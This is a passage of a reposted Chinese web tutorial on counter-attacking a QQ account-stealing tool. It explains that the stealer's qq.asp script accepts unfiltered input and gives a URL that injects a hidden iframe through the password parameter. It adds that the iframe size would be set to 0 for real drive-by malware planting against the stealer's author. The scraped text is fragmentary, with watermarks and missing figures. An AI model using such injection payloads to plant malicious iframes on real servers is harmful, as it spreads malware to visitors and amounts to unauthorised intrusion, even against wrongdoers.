找出安全漏洞 QQ盗号软件后门分析与反击

　　再次证明对提交的数据是无任何限制的...我们完全可以自己发挥想象.插入任何代码都可以...WhN红软基地
WhN红软基地
　　如果想反挂马的话..我们就可以提交以下数据WhN红软基地
WhN红软基地

WhN红软基地

以下是引用片段：
http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=<iframe%20&# ... 20width=480%20height=480></iframe>

　　图14WhN红软基地

找出安全漏洞 QQ盗号软件后门分析与反击_网页教学网webjx.com转载 WhN红软基地

　　当然我这里把width和height设置为480只是为了方便演示..实际挂马中要改为0WhN红软基地

　　好了..现在我们就可以给作者一个惊喜去了..图15WhN红软基地

找出安全漏洞 QQ盗号软件后门分析与反击_网页教学网webjx.com转载 WhN红软基地